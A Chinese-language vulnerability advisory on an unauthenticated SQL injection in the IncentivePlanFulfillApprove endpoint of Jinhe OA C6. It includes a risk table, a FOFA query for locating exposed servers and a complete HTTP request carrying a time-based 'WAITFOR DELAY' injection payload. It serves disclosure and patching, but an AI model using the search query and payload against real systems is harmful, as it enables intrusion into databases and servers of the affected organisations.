

金和OA-C6 IncentivePlanFulfillApprove sql注入漏洞

漏洞描述

金和OA-C6 在/IncentivePlanFulfillApprove 接口存在SQL注入漏洞，未经身份验证的恶意攻击者利用SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

金和网络-金和OA

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="金和网络-金和OA"

POC/EXP：

GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfillApprove.aspx/?httpOID=1;WAITFOR+DELAY+%270:0:3%27-- HTTP/1.1

Host: 127.0.0.1

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: ASP.NET_SessionId=hrhxyprne4owilb2fvywcbjc; myie=false

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36



漏洞修复

关注厂商官网动态，及时更新补丁信息。